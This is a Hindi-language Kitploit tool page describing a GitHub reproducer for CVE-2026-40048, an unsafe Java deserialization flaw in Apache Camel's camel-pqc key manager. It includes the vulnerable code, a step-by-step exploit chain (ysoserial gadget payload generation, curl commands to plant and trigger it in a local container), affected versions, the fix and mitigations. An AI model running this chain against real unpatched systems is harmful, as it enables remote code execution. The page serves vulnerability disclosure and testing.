Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-40048 — CVE-2026-40048 के लिए रिप्रोड्यूसर: Apache Camel camel-pqc FileBasedKeyLifecycleManager असुरक्षित डिसीरियलाइज़ेशन (RCE) | Kitploit
उपकरण/GitHubGitHub/oscerd/cve-2026-40048
स्थैतिक विश्लेषणभेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगलर्निंग और शिक्षाबाइनरी शोषणलैब और अभ्यास
GitHuboscerd/cve-2026-40048

CVE-2026-40048

CVE-2026-40048 के लिए रिप्रोड्यूसर: Apache Camel camel-pqc FileBasedKeyLifecycleManager असुरक्षित डिसीरियलाइज़ेशन (RCE)

22 महीने पहलेअभी तक समीक्षित नहीं
रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

camel-pqc FileBasedKeyLifecycleManager असुरक्षित डिसीरियलाइज़ेशन पुनरुत्पादक (CVE-2026-40048)

यह प्रोजेक्ट Apache Camel के camel-pqc घटक में एक Java डिसीरियलाइज़ेशन भेद्यता प्रदर्शित करता है, जिसे CVE-2026-40048 के रूप में ट्रैक किया जाता है। FileBasedKeyLifecycleManager कॉन्फ़िगर की गई कुंजी निर्देशिका से <keyId>.key फ़ाइलों को एक कच्चे ObjectInputStream और बिना किसी ObjectInputFilter के पढ़ता है, इसलिए एक हमलावर जो उस निर्देशिका में लिख सकता है, दूरस्थ कोड निष्पादन प्राप्त कर सकता है।

सलाहकार सूचना: https://camel.apache.org/security/CVE-2026-40048.html

भेद्यता सारांश

गुणमान
घटकcamel-pqc
प्रभावित वर्गorg.apache.camel.component.pqc.lifecycle.FileBasedKeyLifecycleManager (getKey)
CWECWE-502: अविश्वसनीय डेटा का डिसीरियलाइज़ेशन
प्रभावदूरस्थ कोड निष्पादन (RCE)
प्रभावित संस्करण4.18.0 से 4.18.2 से पहले, और 4.19.0 से 4.20.0 से पहले
निश्चित संस्करण4.18.2, 4.20.0
JIRACAMEL-23200
रिपोर्टरAndrea Cosentino (ASF), Venkatraman Kumar (Securin)

तकनीकी विवरण

FileBasedKeyLifecycleManager पोस्ट-क्वांटम कुंजियों को <keyDir>/<keyId>.key में क्रमबद्ध Java ऑब्जेक्ट्स के रूप में संग्रहीत करता है। कुंजी लोड करने पर उस फ़ाइल को एक कच्चे ObjectInputStream के साथ डिसीरियलाइज़ किया जाता है, और KeyPair में कास्ट केवल readObject() के वापस लौटने के बाद होता है:

root@kitploit:~
// FileBasedKeyLifecycleManager.getKey(keyId) - affected version
Path keyFile = getKeyFile(keyId);   // keyDirectory.resolve(keyId + ".key")
try (ObjectInputStream ois = new ObjectInputStream(new BufferedInputStream(Files.newInputStream(keyFile)))) {
    KeyPair keyPair = (KeyPair) ois.readObject();   // NO ObjectInputFilter — gadget runs before the cast
    ...
}

एक हमलावर जो कुंजी निर्देशिका में लिख सकता है — पथ ट्रावर्सल, गलत कॉन्फ़िगर की गई वॉल्यूम अनुमतियाँ, एक समझौता की गई कुंजी-प्रावधान पाइपलाइन, या एक सिमलिंक हमले के माध्यम से — एक तैयार क्रमबद्ध ऑब्जेक्ट रख सकता है जो सामान्य कुंजी-जीवनचक्र लोड के दौरान निष्पादित होता है।

पूर्वापेक्षाएँ

  • Java 17+ और Maven 3.8+ (jar बनाने के लिए)
  • Docker (पुनरुत्पादक चलाता है)
  • ysoserial (पेलोड उत्पादन के लिए)

पुनरुत्पादन चरण

चरण 1: jar बनाएं और कंटेनर प्रारंभ करें

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

चरण 2: एक दुर्भावनापूर्ण पेलोड उत्पन्न करें

root@kitploit:~
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar

# Benign proof: create /tmp/pwned. On JDK 21 add --add-opens to generate CC gadgets:
java --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang=ALL-UNNAMED \
     --add-opens java.base/java.lang.reflect=ALL-UNNAMED \
     -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64

चरण 3: पेलोड को <keyId>.key के रूप में रोपें

root@kitploit:~
curl -X POST http://localhost:8080/exploit/inject \
  -H "Content-Type: text/plain" --data-binary @payload.b64
# writes the bytes to /tmp/pqc-keys/mykey.key inside the container

चरण 4: कुंजी-जीवनचक्र लोड ट्रिगर करें (RCE)

root@kitploit:~
curl http://localhost:8080/exploit/trigger
# getKey("mykey") -> ObjectInputStream.readObject() -> gadget executes
# -> ">>> RCE proof — /tmp/pwned exists: true"

चरण 5: सत्यापित करें

root@kitploit:~
docker exec cve-2026-40048 ls -la /tmp/pwned

सफाई

root@kitploit:~
docker compose down

हमले के वेक्टर

getKey() को सामान्य कुंजी-जीवनचक्र संचालन (हस्ताक्षर/सत्यापन कुंजी पुनर्प्राप्ति, रोटेशन जाँच, आदि) के दौरान कॉल किया जाता है, इसलिए हमलावर द्वारा रोपित <keyId>.key का कोई भी लोड डिसीरियलाइज़ेशन ट्रिगर करता है।

शोषण की स्थितियाँ

  1. FileBasedKeyLifecycleManager द्वारा उपयोग की जाने वाली कुंजी निर्देशिका में लिखने की पहुँच (साझा/गलत कॉन्फ़िगर वॉल्यूम, पथ ट्रावर्सल, समझौता प्रावधान, सिमलिंक)।
  2. क्लासपाथ पर एक गैजेट लाइब्रेरी (जैसे commons-collections:3.2.1)।

संबंधित अनुवर्ती CVE

ObjectInputStream-इन-की-स्टोर पैटर्न को बाद में अधिक व्यापक रूप से संबोधित किया गया था:

  • CVE-2026-46590 — हैशीकॉर्प वॉल्ट + AWS सीक्रेट्स मैनेजर सह-प्रबंधक (अपूर्ण-सुधार अनुवर्ती)।
  • CVE-2026-43867 — उसी AWS सीक्रेट्स मैनेजर पथ की एक स्वतंत्र रिपोर्ट।

अनुशंसित समाधान

4.18.2 / 4.20.0 में अपग्रेड करें। फिक्स ObjectInputStream-आधारित भंडारण को मानक PKCS#8 (निजी कुंजी) / X.509 SubjectPublicKeyInfo (सार्वजनिक कुंजी) Base64 JSON एन्कोडिंग से बदल देता है।

शमन

अपग्रेड करने तक:

  1. कुंजी निर्देशिका में लिखने की पहुँच को एप्लिकेशन की अपनी पहचान तक सीमित करें।
  2. गैजेट लाइब्रेरी हटाएँ (commons-collections 3.x को अपग्रेड/हटाएं)।
  3. कुंजी सामग्री को ऐसे वॉल्यूम पर रखें जिस पर कोई कम-विश्वसनीय प्रिंसिपल नहीं लिख सकता।

फ़ाइलें

root@kitploit:~
CVE-2026-40048/
├── pom.xml
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   └── ExploitController.java   # /inject (plant .key), /trigger (getKey -> RCE), /cleanup
    └── resources/
        └── application.properties

अस्वीकरण

यह पुनरुत्पादक केवल सुरक्षा अनुसंधान और अधिकृत परीक्षण के लिए प्रदान किया गया है, एक सार्वजनिक रूप से खुलासा और निश्चित भेद्यता के लिए। इसका उपयोग स्पष्ट अनुमति के बिना सिस्टम के विरुद्ध न करें।

टूल डाउनलोड करें